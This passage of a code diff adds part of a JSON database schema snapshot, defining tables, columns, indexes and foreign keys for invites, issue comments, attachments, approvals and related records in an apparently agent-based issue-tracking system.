+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "singleton_key": {
+          "name": "singleton_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'default'"
+        },
+        "default_environment_id": {
+          "name": "default_environment_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "general": {
+          "name": "general",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "experimental": {
+          "name": "experimental",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "instance_settings_singleton_key_idx": {
+          "name": "instance_settings_singleton_key_idx",
+          "columns": [
+            {
+              "expression": "singleton_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "instance_settings_default_environment_id_environments_id_fk": {
+          "name": "instance_settings_default_environment_id_environments_id_fk",
+          "tableFrom": "instance_settings",
+          "tableTo": "environments",
+          "columnsFrom": [
+            "default_environment_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.instance_user_roles": {
+      "name": "instance_user_roles",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "user_id": {
+          "name": "user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "role": {
+          "name": "role",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'instance_admin'"
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "instance_user_roles_user_role_unique_idx": {
+          "name": "instance_user_roles_user_role_unique_idx",
+          "columns": [
+            {
+              "expression": "user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "role",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "instance_user_roles_role_idx": {
+          "name": "instance_user_roles_role_idx",
+          "columns": [
+            {
+              "expression": "role",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {},
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.invites": {
+      "name": "invites",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "invite_type": {
+          "name": "invite_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'company_join'"
+        },
+        "token_hash": {
+          "name": "token_hash",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "allowed_join_types": {
+          "name": "allowed_join_types",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'both'"
+        },
+        "defaults_payload": {
+          "name": "defaults_payload",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "expires_at": {
+          "name": "expires_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "invited_by_user_id": {
+          "name": "invited_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "revoked_at": {
+          "name": "revoked_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "accepted_at": {
+          "name": "accepted_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "invites_token_hash_unique_idx": {
+          "name": "invites_token_hash_unique_idx",
+          "columns": [
+            {
+              "expression": "token_hash",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "invites_company_invite_state_idx": {
+          "name": "invites_company_invite_state_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "invite_type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "revoked_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "expires_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "invites_company_id_companies_id_fk": {
+          "name": "invites_company_id_companies_id_fk",
+          "tableFrom": "invites",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.issue_approvals": {
+      "name": "issue_approvals",
+      "schema": "",
+      "columns": {
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "approval_id": {
+          "name": "approval_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "linked_by_agent_id": {
+          "name": "linked_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "linked_by_user_id": {
+          "name": "linked_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "issue_approvals_issue_idx": {
+          "name": "issue_approvals_issue_idx",
+          "columns": [
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_approvals_approval_idx": {
+          "name": "issue_approvals_approval_idx",
+          "columns": [
+            {
+              "expression": "approval_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_approvals_company_idx": {
+          "name": "issue_approvals_company_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "issue_approvals_company_id_companies_id_fk": {
+          "name": "issue_approvals_company_id_companies_id_fk",
+          "tableFrom": "issue_approvals",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "issue_approvals_issue_id_issues_id_fk": {
+          "name": "issue_approvals_issue_id_issues_id_fk",
+          "tableFrom": "issue_approvals",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "issue_approvals_approval_id_approvals_id_fk": {
+          "name": "issue_approvals_approval_id_approvals_id_fk",
+          "tableFrom": "issue_approvals",
+          "tableTo": "approvals",
+          "columnsFrom": [
+            "approval_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "issue_approvals_linked_by_agent_id_agents_id_fk": {
+          "name": "issue_approvals_linked_by_agent_id_agents_id_fk",
+          "tableFrom": "issue_approvals",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "linked_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {
+        "issue_approvals_pk": {
+          "name": "issue_approvals_pk",
+          "columns": [
+            "issue_id",
+            "approval_id"
+          ]
+        }
+      },
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.issue_attachments": {
+      "name": "issue_attachments",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "asset_id": {
+          "name": "asset_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "issue_comment_id": {
+          "name": "issue_comment_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "issue_attachments_company_issue_idx": {
+          "name": "issue_attachments_company_issue_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_attachments_issue_comment_idx": {
+          "name": "issue_attachments_issue_comment_idx",
+          "columns": [
+            {
+              "expression": "issue_comment_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_attachments_asset_uq": {
+          "name": "issue_attachments_asset_uq",
+          "columns": [
+            {
+              "expression": "asset_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "issue_attachments_company_id_companies_id_fk": {
+          "name": "issue_attachments_company_id_companies_id_fk",
+          "tableFrom": "issue_attachments",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "issue_attachments_issue_id_issues_id_fk": {
+          "name": "issue_attachments_issue_id_issues_id_fk",
+          "tableFrom": "issue_attachments",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "issue_attachments_asset_id_assets_id_fk": {
+          "name": "issue_attachments_asset_id_assets_id_fk",
+          "tableFrom": "issue_attachments",
+          "tableTo": "assets",
+          "columnsFrom": [
+            "asset_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "issue_attachments_issue_comment_id_issue_comments_id_fk": {
+          "name": "issue_attachments_issue_comment_id_issue_comments_id_fk",
+          "tableFrom": "issue_attachments",
+          "tableTo": "issue_comments",
+          "columnsFrom": [
+            "issue_comment_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.issue_comments": {
+      "name": "issue_comments",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "author_agent_id": {
+          "name": "author_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "author_user_id": {
+          "name": "author_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "on_behalf_of_user_id": {
+          "name": "on_behalf_of_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "author_type": {
+          "name": "author_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_run_id": {
+          "name": "created_by_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "derived_author_agent_id": {
+          "name": "derived_author_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "derived_created_by_run_id": {
+          "name": "derived_created_by_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "derived_author_source": {
+          "name": "derived_author_source",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "body": {
+          "name": "body",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "presentation": {
+          "name": "presentation",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "metadata": {
+          "name": "metadata",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "deleted_at": {
+          "name": "deleted_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "deleted_by_type": {
+          "name": "deleted_by_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "deleted_by_agent_id": {
+          "name": "deleted_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "deleted_by_user_id": {
+          "name": "deleted_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "deleted_by_run_id": {
+          "name": "deleted_by_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "source_trust": {
+          "name": "source_trust",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "issue_comments_issue_idx": {
+          "name": "issue_comments_issue_idx",
+          "columns": [
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_comments_company_idx": {
+          "name": "issue_comments_company_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_comments_company_issue_created_at_idx": {
+          "name": "issue_comments_company_issue_created_at_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_comments_company_author_issue_created_at_idx": {
+          "name": "issue_comments_company_author_issue_created_at_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "author_user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_comments_body_search_idx": {
+          "name": "issue_comments_body_search_idx",
+          "columns": [
+            {
+              "expression": "body",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last",
+              "opclass": "gin_trgm_ops"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "gin",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "issue_comments_company_id_companies_id_fk": {
+          "name": "issue_comments_company_id_companies_id_fk",
+          "tableFrom": "issue_comments",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "issue_comments_issue_id_issues_id_fk": {
+          "name": "issue_comments_issue_id_issues_id_fk",
+          "tableFrom": "issue_comments",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "issue_comments_author_agent_id_agents_id_fk": {
+          "name": "issue_comments_author_agent_id_agents_id_fk",
+          "tableFrom": "issue_comments",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "author_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "issue_comments_on_behalf_of_user_id_user_id_fk": {
+          "name": "issue_comments_on_behalf_of_user_id_user_id_fk",
+          "tableFrom": "issue_comments",
+          "tableTo": "user",
+          "columnsFrom": [
+            "on_behalf_of_user_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "issue_comments_created_by_run_id_heartbeat_runs_id_fk": {
+          "name": "issue_comments_created_by_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "issue_comments",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "created_by_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "issue_comments_derived_author_agent_id_agents_id_fk": {
+          "name": "issue_comments_derived_author_agent_id_agents_id_fk",
+          "tableFrom": "issue_comments",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "derived_author_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "issue_comments_derived_created_by_run_id_heartbeat_runs_id_fk": {
+          "name": "issue_comments_derived_created_by_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "issue_comments",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "derived_created_by_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "issue_comments_deleted_by_agent_id_agents_id_fk": {
+          "name": "issue_comments_deleted_by_agent_id_agents_id_fk",
+          "tableFrom": "issue_comments",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "deleted_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "issue_comments_deleted_by_run_id_heartbeat_runs_id_fk": {
+          "name": "issue_comments_deleted_by_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "issue_comments",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "deleted_by_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.issue_create_idempotency_keys": {
+      "name": "issue_create_idempotency_keys",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "idempotency_key": {
+          "name": "idempotency_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "issue_create_idempotency_keys_company_key_uq": {
+          "name": "issue_create_idempotency_keys_company_key_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "idempotency_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_create_idempotency_keys_issue_idx": {
+          "name": "issue_create_idempotency_keys_issue_idx",
+          "columns": [
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_create_idempotency_keys_company_created_at_idx": {
+          "name": "issue_create_idempotency_keys_company_created_at_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "issue_create_idempotency_keys_company_id_companies_id_fk": {
+          "name": "issue_create_idempotency_keys_company_id_companies_id_fk",
+          "tableFrom": "issue_create_idempotency_keys",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "issue_create_idempotency_keys_issue_id_issues_id_fk": {
+          "name": "issue_create_idempotency_keys_issue_id_issues_id_fk",
+          "tableFrom": "issue_create_idempotency_keys",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.issue_documents": {
+      "name": "issue_documents",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "document_id": {
+          "name": "document_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "key": {
+          "name": "key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "issue_documents_company_issue_key_uq": {
+          "name": "issue_documents_company_issue_key_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_documents_document_uq": {
+          "name": "issue_documents_document_uq",
+          "columns": [
+            {
+              "expression": "document_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_documents_company_issue_updated_idx": {
+          "name": "issue_documents_company_issue_updated_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "updated_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "issue_documents_company_id_companies_id_fk": {
+          "name": "issue_documents_company_id_companies_id_fk",
+          "tableFrom": "issue_documents",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "issue_documents_issue_id_issues_id_fk": {
+          "name": "issue_documents_issue_id_issues_id_fk",
+          "tableFrom": "issue_documents",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "issue_documents_document_id_documents_id_fk": {
+          "name": "issue_documents_document_id_documents_id_fk",
+          "tableFrom": "issue_documents",
+          "tableTo": "documents",
+          "columnsFrom": [
+            "document_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.issue_execution_decisions": {
+      "name": "issue_execution_decisions",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "stage_id": {
+          "name": "stage_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "stage_type": {
+          "name": "stage_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "actor_agent_id": {
+          "name": "actor_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "actor_user_id": {
+          "name": "actor_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "outcome": {
+          "name": "outcome",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "body": {
+          "name": "body",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_by_run_id": {
+          "name": "created_by_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "issue_execution_decisions_company_issue_idx": {
+          "name": "issue_execution_decisions_company_issue_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
